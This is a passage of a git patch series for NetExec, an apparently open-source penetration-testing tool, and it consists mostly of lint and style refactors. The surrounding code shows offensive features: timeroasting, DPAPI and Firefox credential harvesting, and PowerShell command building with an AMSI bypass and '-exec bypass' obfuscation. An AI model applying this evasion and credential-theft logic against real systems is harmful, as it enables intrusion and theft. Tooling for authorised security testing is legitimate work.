"smbghost" description = "Module to check for the SMB dialect 3.1.1 and compression capability of the host, which is an indicator for the SMBGhost vulnerability (CVE-2020-0796)." diff --git a/nxc/modules/snipped.py b/nxc/modules/snipped.py index dd8b9fce23..02f3d76878 100644 --- a/nxc/modules/snipped.py +++ b/nxc/modules/snipped.py @@ -22,8 +22,6 @@ def options(self, context, module_options): self.context = context self.users = [user.lower() for user in module_options["USERS"].split(",")] if "USERS" in module_options else None - - def on_admin_login(self, context, connection): self.context = context self.connection = connection @@ -111,7 +109,6 @@ def on_admin_login(self, context, connection): if total_files_downloaded > 0 and host_output_path: context.log.success(f"{total_files_downloaded} file(s) downloaded from host {connection.host} to {host_output_path}.") - def find_screenshots_folders(self, user_folder_name): """ Dynamically searches for all Screenshots folders in the user's home directory. diff --git a/nxc/modules/timeroast.py b/nxc/modules/timeroast.py index bc87f8e052..beeb5ca743 100644 --- a/nxc/modules/timeroast.py +++ b/nxc/modules/timeroast.py @@ -5,11 +5,11 @@ from struct import pack, unpack - def hashcat_format(rid, hashval, salt): """Encodes hash in Hashcat-compatible format (with username prefix).""" return f"{rid}:$sntp-ms${hexlify(hashval).decode()}${hexlify(salt).decode()}" + class NXCModule: """ Module by Disgame: @Disgame @@ -33,7 +33,6 @@ def __init__(self): # Static NTP query prefix using the MD5 authenticator. Append 4-byte RID and dummy checksum to create a full query. self.ntp_prefix = unhexlify("db0011e9000000000001000000000000e1b8407debc7e50600000000000000000000000000000000e1b8428bffbfcd0a") - def options(self, context, module_options): self.rids = range(1, 2**31) self.rate = 180 @@ -81,7 +80,6 @@ def run_ntp_roast(self, context, dc_host, rids, rate, giveup_time, old_pwd, src_ except PermissionError: context.log.exception(f"No permission to listen on port {src_port}. May need to run as root.") - query_interval = 1 / rate last_ok_time = time() rids_received = set() diff --git a/nxc/modules/uac.py b/nxc/modules/uac.py index 7756d3c0f7..d630009fd3 100644 --- a/nxc/modules/uac.py +++ b/nxc/modules/uac.py @@ -1,4 +1,3 @@ -import logging from impacket.dcerpc.v5 import rrp from impacket.examples.secretsdump import RemoteOperations diff --git a/nxc/modules/wam.py b/nxc/modules/wam.py index ef896b5d3d..c45e601acf 100644 --- a/nxc/modules/wam.py +++ b/nxc/modules/wam.py @@ -24,7 +24,6 @@ def on_admin_login(self, context, connection): self.pvkbytes = get_domain_backup_key(connection) - target = Target.create( domain=connection.domain, username=username, diff --git a/nxc/modules/winscp.py b/nxc/modules/winscp.py index 85db2790e7..f84e875002 100644 --- a/nxc/modules/winscp.py +++ b/nxc/modules/winscp.py @@ -15,7 +15,6 @@ import configparser - class NXCModule: """Module by @NeffIsBack""" diff --git a/nxc/nxcdb.py b/nxc/nxcdb.py index 4ebe1f8c0e..7da2c77da7 100644 --- a/nxc/nxcdb.py +++ b/nxc/nxcdb.py @@ -47,8 +47,7 @@ def write_csv(filename, headers, entries): def write_list(filename, entries): """Writes a file with a simple list""" with open(os.path.expanduser(filename), "w") as export_file: - for line in entries: - export_file.write(line + "\n") + export_file.writelines(line + "\n" for line in entries) def complete_import(text, line): @@ -516,7 +515,6 @@ def do_exit(line): def do_EOF(line): sys.exit() - @staticmethod def help_exit(): help_string = """ diff --git a/nxc/protocols/ftp.py b/nxc/protocols/ftp.py index 859f2d03fd..decac478fa 100644 --- a/nxc/protocols/ftp.py +++ b/nxc/protocols/ftp.py @@ -5,6 +5,7 @@ from nxc.logger import NXCAdapter from ftplib import FTP, error_perm + class ftp(connection): def __init__(self, args, db, host): self.protocol = "FTP" diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 877b42b693..7f646f6998 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -6,7 +6,7 @@ from errno import EHOSTUNREACH, ETIMEDOUT, ENETUNREACH from binascii import hexlify from datetime import datetime -from re import sub, I +from re import sub, IGNORECASE from zipfile import ZipFile from termcolor import colored from dns import resolver @@ -197,10 +197,10 @@ def create_conn_obj(self): if str(attribute["type"]) == "defaultNamingContext": base_dn = str(attribute["vals"][0]) target_domain = sub( - ",DC=", + r",DC=", ".", base_dn[base_dn.lower().find("dc="):], - flags=I, + flags=IGNORECASE, )[3:] if str(attribute["type"]) == "dnsHostName": target = str(attribute["vals"][0]) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 722b9411db..45505e677e 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -104,8 +104,7 @@ def get_error_string(exception): def requires_smb_server(func): def _decorator(self, *args, **kwargs): - global smb_server - global smb_share_name + global smb_server, smb_share_name get_output = False payload = None diff --git a/nxc/protocols/smb/dpapi.py b/nxc/protocols/smb/dpapi.py index 9e041f1139..ce43461a68 100644 --- a/nxc/protocols/smb/dpapi.py +++ b/nxc/protocols/smb/dpapi.py @@ -45,6 +45,7 @@ def get_domain_backup_key(context): context.logger.fail(f"Could not get domain backupkey: {e}") return pvkbytes + def collect_masterkeys_from_target(context, target, dploot_connection, user=True, system=True): masterkeys = [] plaintexts = {} @@ -85,6 +86,7 @@ def collect_masterkeys_from_target(context, target, dploot_connection, user=True return masterkeys + def upgrade_to_dploot_connection(target, connection=None): conn = None try: diff --git a/nxc/protocols/smb/firefox.py b/nxc/protocols/smb/firefox.py index ec63705dcd..7217b8bb52 100644 --- a/nxc/protocols/smb/firefox.py +++ b/nxc/protocols/smb/firefox.py @@ -25,6 +25,7 @@ def __init__(self, winuser: str, url: str, username: str, password: str): self.username = username self.password = password + @dataclass class FirefoxCookie: winuser: str @@ -36,6 +37,7 @@ class FirefoxCookie: expires_utc: str last_access_utc: str + class FirefoxTriage: """ Firefox by @zblurx diff --git a/nxc/protocols/smb/passpol.py b/nxc/protocols/smb/passpol.py index dbea193194..f5a93cf1f1 100644 --- a/nxc/protocols/smb/passpol.py +++ b/nxc/protocols/smb/passpol.py @@ -23,7 +23,7 @@ def convert(low, high, lockout=False): time = "" tmp = 0 - if low == 0 and high == -0x8000_0000 or low == 0 and high == -0x8000_0000_0000_0000: + if (low == 0 and high == -0x8000_0000) or (low == 0 and high == -0x8000_0000_0000_0000): return "Not Set" if low == 0 and high == 0: return "None" diff --git a/nxc/protocols/smb/proto_args.py b/nxc/protocols/smb/proto_args.py index 8ea7b967bf..8c6485d2bf 100644 --- a/nxc/protocols/smb/proto_args.py +++ b/nxc/protocols/smb/proto_args.py @@ -95,6 +95,7 @@ def proto_args(parser, parents): return parser + def get_conditional_action(baseAction): class ConditionalAction(baseAction): def __init__(self, option_strings, dest, **kwargs): diff --git a/nxc/protocols/smb/smbspider.py b/nxc/protocols/smb/smbspider.py index 765fcdeabb..7d23922958 100755 --- a/nxc/protocols/smb/smbspider.py +++ b/nxc/protocols/smb/smbspider.py @@ -149,7 +149,6 @@ def dir_list(self, files, path): if self.content and not result.is_directory(): self.search_content(path, result) - def search_content(self, path, result): path = path.replace("*", "") try: diff --git a/nxc/protocols/ssh/proto_args.py b/nxc/protocols/ssh/proto_args.py index 8f82b787ae..add5454cef 100644 --- a/nxc/protocols/ssh/proto_args.py +++ b/nxc/protocols/ssh/proto_args.py @@ -23,6 +23,7 @@ def proto_args(parser, parents): return parser + def get_conditional_action(baseAction): class ConditionalAction(baseAction): def __init__(self, option_strings, dest, **kwargs): diff --git a/tests/test_smb_database.py b/tests/test_smb_database.py index f4da5c0945..f2e5479c84 100644 --- a/tests/test_smb_database.py +++ b/tests/test_smb_database.py @@ -38,7 +38,7 @@ def db_setup(db_engine): delete_workspace("test") -@pytest.fixture() +@pytest.fixture def db(db_setup): yield db_setup db_setup.clear_database() From ae6721aa9a182902b8b76e41d5b191bbff8b9759 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 3 Apr 2025 12:27:35 -0400 Subject: [PATCH 012/103] Remove all FURB rules, makes code more complicated --- pyproject.toml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pyproject.toml b/pyproject.toml index 8b6f19b5e3..798cc1d157 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -105,7 +105,7 @@ select = [ ignore = [ "E501", "F405", "D100", "D101", "D102", "D103", "D104", "D105", "D106", "D107", "D203", "D204", "D205", "D212", "D213", "D400", "D401", "D413", "D415", - "D417", "D419", "FURB110", "RET503", "RET505", "RET506", "RET507", "RET508", + "D417", "D419", "FURB", "RET503", "RET505", "RET506", "RET507", "RET508", "PERF203", "RUF012", "RUF059" ] From 52008c1b253b04177f43a49a0cae1e9885825473 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 3 Apr 2025 12:30:38 -0400 Subject: [PATCH 013/103] Remove unnecessary cast to int --- nxc/protocols/nfs.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/nxc/protocols/nfs.py b/nxc/protocols/nfs.py index 2f77b6abfc..e9d60ef040 100644 --- a/nxc/protocols/nfs.py +++ b/nxc/protocols/nfs.py @@ -562,13 +562,13 @@ def get_root_handles(self, mount_fh): # Format for the file id see: https://elixir.bootlin.com/linux/v6.13.4/source/include/linux/exportfs.h#L25 fh = bytearray(mount_fh) if filesystem in [FileID.ext, FileID.unknown]: - root_handles.append(bytes(fh[:3] + b"\x02" + fh[4:4+fh_fsid_len] + b"\x02\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x02\x00\x00\x00")) - root_handles.append(bytes(fh[:3] + b"\x02" + fh[4:4+fh_fsid_len] + b"\x80\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x80\x00\x00\x00")) + root_handles.append(bytes(fh[:3] + b"\x02" + fh[4:4+fh_fsid_len] + b"\x02\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x02\x00\x00\x00")) # noqa: E226 + root_handles.append(bytes(fh[:3] + b"\x02" + fh[4:4+fh_fsid_len] + b"\x80\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x80\x00\x00\x00")) # noqa: E226 if filesystem in [FileID.btrfs, FileID.unknown]: # Iterate over btrfs subvolumes, use 16 as default similar to the guys from nfs-security-tooling for i in range(16): subvolume = int.to_bytes(i) + b"\x01\x00\x00" - root_handles.append(bytes(fh[:3] + b"\x4d" + fh[4:4+fh_fsid_len] + b"\x00\x01\x00\x00" + b"\x00\x00\x00\x00" + subvolume + b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00")) + root_handles.append(bytes(fh[:3] + b"\x4d" + fh[4:4+fh_fsid_len] + b"\x00\x01\x00\x00" + b"\x00\x00\x00\x00" + subvolume + b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00")) # noqa: E226 return root_handles @@ -728,7 +728,7 @@ def convert_size(size_bytes): if size_bytes == 0: return "0B" size_name = ("B", "KB", "MB", "GB", "TB", "PB", "EB", "ZB", "YB") - i = int(math.floor(math.log(size_bytes, 1024))) + i = math.floor(math.log(size_bytes, 1024)) p = math.pow(1024, i) s = round(size_bytes / p, 1) return f"{s}{size_name[i]}" From 42538e4c898997503101383086897ababfd35e1d Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 3 Apr 2025 13:16:13 -0400 Subject: [PATCH 014/103] Disable false positive --- nxc/netexec.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/netexec.py b/nxc/netexec.py index 16280d190d..11f2cc0fff 100755 --- a/nxc/netexec.py +++ b/nxc/netexec.py @@ -39,7 +39,7 @@ resource.setrlimit(resource.RLIMIT_NOFILE, file_limit) -async def start_run(protocol_obj, args, db, targets): +async def start_run(protocol_obj, args, db, targets): # noqa: RUF029 futures = [] nxc_logger.debug("Creating ThreadPoolExecutor") if args.no_progress or len(targets) == 1: From 89233700b64adc5c0a22a6a3fdf1c32f59fa6e11 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 3 Apr 2025 13:16:43 -0400 Subject: [PATCH 015/103] Disable A004, as it complains about sys.exit which supposes to be superior in programs --- pyproject.toml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pyproject.toml b/pyproject.toml index 798cc1d157..7c2c36ec41 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -103,7 +103,7 @@ select = [ "Q", "RSE", "RET", "SIM", "TID", "ERA", "FLY", "PERF", "FURB", "LOG", "RUF" ] ignore = [ - "E501", "F405", "D100", "D101", "D102", "D103", "D104", "D105", "D106", + "A004", "E501", "F405", "D100", "D101", "D102", "D103", "D104", "D105", "D106", "D107", "D203", "D204", "D205", "D212", "D213", "D400", "D401", "D413", "D415", "D417", "D419", "FURB", "RET503", "RET505", "RET506", "RET507", "RET508", "PERF203", "RUF012", "RUF059" From bde58c4e56442f08b98b5893ef5ba9a1dea6a8ed Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 3 Apr 2025 13:19:08 -0400 Subject: [PATCH 016/103] Apply SIM401, use .get() over 'x if x else y' --- nxc/modules/empire_exec.py | 2 +- nxc/protocols/ldap.py | 10 +++++----- nxc/protocols/ldap/laps.py | 8 ++++---- 3 files changed, 10 insertions(+), 10 deletions(-) diff --git a/nxc/modules/empire_exec.py b/nxc/modules/empire_exec.py index aef27ff6ec..c2dac1b46e 100644 --- a/nxc/modules/empire_exec.py +++ b/nxc/modules/empire_exec.py @@ -33,7 +33,7 @@ def options(self, context, module_options): obfuscate = "OBFUSCATE" in module_options # we can use commands instead of backslashes - this is because Linux and OSX treat them differently default_obfuscation = "Token,All,1" - obfuscate_cmd = module_options["OBFUSCATE_CMD"] if "OBFUSCATE_CMD" in module_options else default_obfuscation + obfuscate_cmd = module_options.get("OBFUSCATE_CMD", default_obfuscation) context.log.debug(f"Obfuscate: {obfuscate} - Obfuscate_cmd: {obfuscate_cmd}") # Pull the host and port from the config file diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 7f646f6998..22ce49ead9 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -407,7 +407,7 @@ def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", except Exception as e: error_code = str(e).split()[-2][:-1] self.logger.fail( - f"{self.domain}\\{self.username}:{process_secret(self.password)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}", + f"{self.domain}\\{self.username}:{process_secret(self.password)} {ldap_error_status.get(error_code, '')}", color="magenta" if error_code in ldap_error_status else "red", ) return False @@ -479,13 +479,13 @@ def plaintext_login(self, domain, username, password): except Exception as e: error_code = str(e).split()[-2][:-1] self.logger.fail( - f"{self.domain}\\{self.username}:{process_secret(self.password)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}", + f"{self.domain}\\{self.username}:{process_secret(self.password)} {ldap_error_status.get(error_code, '')}", color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red", ) else: error_code = str(e).split()[-2][:-1] self.logger.fail( - f"{self.domain}\\{self.username}:{process_secret(self.password)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}", + f"{self.domain}\\{self.username}:{process_secret(self.password)} {ldap_error_status.get(error_code, '')}", color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red", ) return False @@ -570,13 +570,13 @@ def hash_login(self, domain, username, ntlm_hash): except ldap_impacket.LDAPSessionError as e: error_code = str(e).split()[-2][:-1] self.logger.fail( - f"{self.domain}\\{self.username}:{process_secret(nthash)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}", + f"{self.domain}\\{self.username}:{process_secret(nthash)} {ldap_error_status.get(error_code, '')}", color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red", ) else: error_code = str(e).split()[-2][:-1] self.logger.fail( - f"{self.domain}\\{self.username}:{process_secret(nthash)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}", + f"{self.domain}\\{self.username}:{process_secret(nthash)} {ldap_error_status.get(error_code, '')}", color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red", ) return False diff --git a/nxc/protocols/ldap/laps.py b/nxc/protocols/ldap/laps.py index 3a3c439749..873cd10d31 100644 --- a/nxc/protocols/ldap/laps.py +++ b/nxc/protocols/ldap/laps.py @@ -95,13 +95,13 @@ def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", except ldap_impacket.LDAPSessionError as e: error_code = str(e).split()[-2][:-1] self.logger.fail( - f"{domain}\\{username}:{password if password else ntlm_hash} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}", + f"{domain}\\{username}:{password if password else ntlm_hash} {ldap_error_status.get(error_code, '')}", color="magenta" if error_code in ldap_error_status else "red", ) else: error_code = str(e).split()[-2][:-1] self.logger.fail( - f"{domain}\\{username}:{password if password else ntlm_hash} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}", + f"{domain}\\{username}:{password if password else ntlm_hash} {ldap_error_status.get(error_code, '')}", color="magenta" if error_code in ldap_error_status else "red", ) return False @@ -152,13 +152,13 @@ def auth_login(self, domain, username, password, ntlm_hash, dns_server): except ldap_impacket.LDAPSessionError as e: error_code = str(e).split()[-2][:-1] self.logger.fail( - f"{domain}\\{username}:{password if password else ntlm_hash} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}", + f"{domain}\\{username}:{password if password else ntlm_hash} {ldap_error_status.get(error_code, '')}", color="magenta" if error_code in ldap_error_status else "red", ) else: error_code = str(e).split()[-2][:-1] self.logger.fail( - f"{domain}\\{username}:{password if password else ntlm_hash} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}", + f"{domain}\\{username}:{password if password else ntlm_hash} {ldap_error_status.get(error_code, '')}", color="magenta" if error_code in ldap_error_status else "red", ) return False From 542452accb31a35e25c6689064d1d41f34e28eaf Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 3 Apr 2025 13:26:38 -0400 Subject: [PATCH 017/103] Apply C419, removing unnecessary list comprehensions --- nxc/protocols/smb.py | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 45505e677e..f3702e76f2 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -926,17 +926,17 @@ def qwinsta(self): return self.enumerate_sessions_info(sessions) - maxSessionNameLen = max([len(sessions[i]["SessionName"]) + 1 for i in sessions]) + maxSessionNameLen = max(len(sessions[i]["SessionName"]) + 1 for i in sessions) maxSessionNameLen = maxSessionNameLen if len("SESSIONNAME") < maxSessionNameLen else len("SESSIONNAME") + 1 - maxUsernameLen = max([len(sessions[i]["Username"] + sessions[i]["Domain"]) + 1 for i in sessions]) + 1 + maxUsernameLen = max(len(sessions[i]["Username"] + sessions[i]["Domain"]) + 1 for i in sessions) + 1 maxUsernameLen = maxUsernameLen if len("Username") < maxUsernameLen else len("Username") + 1 - maxIdLen = max([len(str(i)) for i in sessions]) + maxIdLen = max(len(str(i)) for i in sessions) maxIdLen = maxIdLen if len("ID") < maxIdLen else len("ID") + 1 - maxStateLen = max([len(sessions[i]["state"]) + 1 for i in sessions]) + maxStateLen = max(len(sessions[i]["state"]) + 1 for i in sessions) maxStateLen = maxStateLen if len("STATE") < maxStateLen else len("STATE") + 1 - maxRemoteIp = max([len(sessions[i]["RemoteIp"]) + 1 for i in sessions]) + maxRemoteIp = max(len(sessions[i]["RemoteIp"]) + 1 for i in sessions) maxRemoteIp = maxRemoteIp if len("RemoteAddress") < maxRemoteIp else len("RemoteAddress") + 1 - maxClientName = max([len(sessions[i]["ClientName"]) + 1 for i in sessions]) + maxClientName = max(len(sessions[i]["ClientName"]) + 1 for i in sessions) maxClientName = maxClientName if len("ClientName") < maxClientName else len("ClientName") + 1 template = ("{SESSIONNAME: <%d} " # noqa: UP031 "{USERNAME: <%d} " @@ -1007,8 +1007,8 @@ def tasklist(self): if not res: return self.logger.success("Enumerated processes") - maxImageNameLen = max([len(i["ImageName"]) for i in res]) - maxSidLen = max([len(i["pSid"]) for i in res]) + maxImageNameLen = max(len(i["ImageName"]) for i in res) + maxSidLen = max(len(i["pSid"]) for i in res) template = "{: <%d} {: <8} {: <11} {: <%d} {: >12}" % (maxImageNameLen, maxSidLen) # noqa: UP031 self.logger.highlight(template.format("Image Name", "PID", "Session#", "SID", "Mem Usage")) self.logger.highlight(template.replace(": ", ":=").format("", "", "", "", "")) From 67abbf8bf3c9fa60dff5069a1cff93442c5cd23e Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 3 Apr 2025 13:38:28 -0400 Subject: [PATCH 018/103] Disable RUF052, these are considered private not dummy --- pyproject.toml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index 7c2c36ec41..cf292c1633 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -100,13 +100,13 @@ preview = true [tool.ruff.lint] select = [ "E", "F", "D", "UP", "YTT", "ASYNC", "B", "A", "C4", "ISC", "ICN", "PIE", "PT", - "Q", "RSE", "RET", "SIM", "TID", "ERA", "FLY", "PERF", "FURB", "LOG", "RUF" + "Q", "RSE", "RET", "SIM", "TID", "ERA", "FLY", "PERF", "LOG", "RUF" ] ignore = [ "A004", "E501", "F405", "D100", "D101", "D102", "D103", "D104", "D105", "D106", "D107", "D203", "D204", "D205", "D212", "D213", "D400", "D401", "D413", "D415", "D417", "D419", "FURB", "RET503", "RET505", "RET506", "RET507", "RET508", - "PERF203", "RUF012", "RUF059" + "PERF203", "RUF012", "RUF052", "RUF059" ] # THE SETTINGS BELOW ARE DEFAULTS, left in here to override potential vs-code settings From f386434ce5552bad2d184296dcab8db38311883f Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 3 Apr 2025 13:49:54 -0400 Subject: [PATCH 019/103] Lint daclread --- nxc/modules/daclread.py | 10 +++------- 1 file changed, 3 insertions(+), 7 deletions(-) diff --git a/nxc/modules/daclread.py b/nxc/modules/daclread.py index 0bdff14549..b1a6d3ba49 100644 --- a/nxc/modules/daclread.py +++ b/nxc/modules/daclread.py @@ -429,11 +429,9 @@ def resolveSID(self, context, sid): def parse_dacl(self, context, dacl): parsed_dacl = [] context.log.debug("Parsing DACL") - i = 0 for ace in dacl["Data"]: parsed_ace = self.parse_ace(context, ace) parsed_dacl.append(parsed_ace) - i += 1 return parsed_dacl # Parses an access mask to extract the different values from a simple permission @@ -509,11 +507,10 @@ def print_parsed_dacl(self, context, parsed_dacl): parsed_dacl : a parsed DACL from parse_dacl() """ context.log.debug("Printing parsed DACL") - i = 0 # If a specific right or a specific GUID has been specified, only the ACE with this right will be printed # If an ACE type has been specified, only the ACE with this type will be specified # If a principal has been specified, only the ACE where he is the trustee will be printed - for parsed_ace in parsed_dacl: + for i, parsed_ace in enumerate(parsed_dacl): print_ace = True context.log.debug(f"{parsed_ace=}, {self.rights=}, {self.rights_guid=}, {self.ace_type=}, {self.principal_sid=}") @@ -561,16 +558,15 @@ def print_parsed_dacl(self, context, parsed_dacl): except Exception as e: context.log.debug(f"Error filtering with {parsed_ace=} and {self.principal_sid=}, probably because of ACE type unsupported for parsing yet ({e})") if print_ace: - self.context.log.highlight("%-28s" % "ACE[%d] info" % i) + self.context.log.highlight(f"ACE[{i}] info") self.print_parsed_ace(parsed_ace) - i += 1 # Prints properly a parsed ACE # - parsed_ace : a parsed ACE from parse_ace() def print_parsed_ace(self, parsed_ace): elements_name = list(parsed_ace.keys()) for attribute in elements_name: - self.context.log.highlight(" %-26s: %s" % (attribute, parsed_ace[attribute])) + self.context.log.highlight(f"\t{attribute:<26}: {parsed_ace[attribute]}") # Retrieves the GUIDs for the specified rights def build_guids_for_rights(self): From 4255cab29d121ac4810077282d2df73691db7a44 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 3 Apr 2025 13:57:22 -0400 Subject: [PATCH 020/103] Adding exceptions for false positives --- nxc/netexec.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/nxc/netexec.py b/nxc/netexec.py index 11f2cc0fff..33aee25bf2 100755 --- a/nxc/netexec.py +++ b/nxc/netexec.py @@ -57,7 +57,7 @@ async def start_run(protocol_obj, args, db, targets): # noqa: RUF029 nxc_logger.debug(f"Creating thread for {protocol_obj}") futures = [executor.submit(protocol_obj, args, db, target) for target in targets] for _ in as_completed(futures): - current += 1 + current += 1 # noqa: SIM113 progress.update(tasks, completed=current) for future in as_completed(futures): try: @@ -103,8 +103,8 @@ def main(): start_id, end_id = cred_id.split("-") try: for n in range(int(start_id), int(end_id) + 1): - args.cred_id.append(n) - args.cred_id.remove(cred_id) + args.cred_id.append(n) # noqa: B909 + args.cred_id.remove(cred_id) # noqa: B909 except Exception as e: nxc_logger.error(f"Error parsing database credential id: {e}") exit(1) From 768a4010193e28e5a1d0437ce8134c3a8ada8cf0 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 3 Apr 2025 14:02:07 -0400 Subject: [PATCH 021/103] Leaving as is for readability --- nxc/connection.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/connection.py b/nxc/connection.py index bd3fac7620..2f2794561d 100755 --- a/nxc/connection.py +++ b/nxc/connection.py @@ -320,7 +320,7 @@ def over_fail_limit(self, username): if self.failed_logins == self.args.fail_limit: return True - if username in user_failed_logins and self.args.ufail_limit == user_failed_logins[username]: + if username in user_failed_logins and self.args.ufail_limit == user_failed_logins[username]: # noqa: SIM103 return True return False From 1520f3cbd45d1a0ac91122e04a3da7e307f1798c Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 3 Apr 2025 14:02:29 -0400 Subject: [PATCH 022/103] Remove unnecessary code and format string --- nxc/helpers/powershell.py | 26 ++++++-------------------- nxc/protocols/ldap.py | 2 +- 2 files changed, 7 insertions(+), 21 deletions(-) diff --git a/nxc/helpers/powershell.py b/nxc/helpers/powershell.py index 91e09e6c29..7f3bb73144 100644 --- a/nxc/helpers/powershell.py +++ b/nxc/helpers/powershell.py @@ -58,19 +58,6 @@ def encode_ps_command(command): return b64encode(command.encode("UTF-16LE")).decode() -def is_powershell_installed(): - """ - Check if PowerShell is installed. - - Returns - ------- - bool: True if PowerShell is installed, False otherwise. - """ - if which("powershell"): - return True - return False - - def obfs_ps_script(path_to_script): """ Obfuscates a PowerShell script. @@ -92,7 +79,7 @@ def obfs_ps_script(path_to_script): obfs_script_dir = os.path.join(NXC_PATH, "obfuscated_scripts") obfs_ps_script = os.path.join(obfs_script_dir, ps_script) - if is_powershell_installed() and obfuscate_ps_scripts: + if bool(which("powershell")) and obfuscate_ps_scripts: if os.path.exists(obfs_ps_script): nxc_logger.display("Using cached obfuscated Powershell script") with open(obfs_ps_script) as script: @@ -140,7 +127,7 @@ def create_ps_command(ps_command, force_ps32=False, obfs=False, custom_amsi=None str: The generated PowerShell command. """ nxc_logger.debug(f"Creating PS command parameters: {ps_command=}, {force_ps32=}, {obfs=}, {custom_amsi=}, {encode=}") - + if custom_amsi: nxc_logger.debug(f"Using custom AMSI bypass script: {custom_amsi}") with open(custom_amsi) as file_in: @@ -155,7 +142,7 @@ def create_ps_command(ps_command, force_ps32=False, obfs=False, custom_amsi=None command = amsi_bypass + f"$functions = {{function Command-ToExecute{{{amsi_bypass + ps_command}}}}}; if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64'){{$job = Start-Job -InitializationScript $functions -ScriptBlock {{Command-ToExecute}} -RunAs32; $job | Wait-Job | Receive-Job }} else {{IEX '$functions'; Command-ToExecute}}" else: command = f"{amsi_bypass} {ps_command}" - + nxc_logger.debug(f"Generated PS command:\n {command}\n") if obfs: @@ -164,7 +151,7 @@ def create_ps_command(ps_command, force_ps32=False, obfs=False, custom_amsi=None while True: nxc_logger.debug(f"Obfuscation attempt: {obfs_attempts + 1}") obfs_command = invoke_obfuscation(command) - + command = f'powershell.exe -exec bypass -noni -nop -w 1 -C "{replace_singles(obfs_command)}"' if len(command) <= 8191: break @@ -177,11 +164,11 @@ def create_ps_command(ps_command, force_ps32=False, obfs=False, custom_amsi=None # if we arent encoding or obfuscating anything, we quote the entire powershell in double quotes, otherwise the final powershell command will syntax error command = f"-enc {encode_ps_command(command)}" if encode else f'"{command}"' command = f"powershell.exe -noni -nop -w 1 {command}" - + if len(command) > 8191: nxc_logger.error(f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting.") exit(1) - + nxc_logger.debug(f"Final command: {command}") return command @@ -430,4 +417,3 @@ def invoke_obfuscation(script_string): obfuscated_script = choice(invoke_options) nxc_logger.debug(f"Script after obfuscation: {obfuscated_script}") return obfuscated_script - diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 22ce49ead9..1f48143a6a 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -849,7 +849,7 @@ def asreproast(self): return False # Building the search filter - search_filter = "(&(UserAccountControl:1.2.840.113556.1.4.803:=%d)(!(UserAccountControl:1.2.840.113556.1.4.803:=%d))(!(objectCategory=computer)))" % (UF_DONT_REQUIRE_PREAUTH, UF_ACCOUNTDISABLE) + search_filter = f"(&(UserAccountControl:1.2.840.113556.1.4.803:={UF_DONT_REQUIRE_PREAUTH})(!(UserAccountControl:1.2.840.113556.1.4.803:={UF_ACCOUNTDISABLE}))(!(objectCategory=computer)))" attributes = [ "sAMAccountName", "pwdLastSet", From 2f63732f002675d0aeaaa928451ac7299c16f078 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 3 Apr 2025 14:23:43 -0400 Subject: [PATCH 023/103] One liner return values and format strings --- nxc/loaders/moduleloader.py | 4 +--- nxc/protocols/ldap/bloodhound.py | 2 +- nxc/protocols/mssql/mssqlexec.py | 4 +--- 3 files changed, 3 insertions(+), 7 deletions(-) diff --git a/nxc/loaders/moduleloader.py b/nxc/loaders/moduleloader.py index d7e450346e..ac6e489532 100755 --- a/nxc/loaders/moduleloader.py +++ b/nxc/loaders/moduleloader.py @@ -46,9 +46,7 @@ def 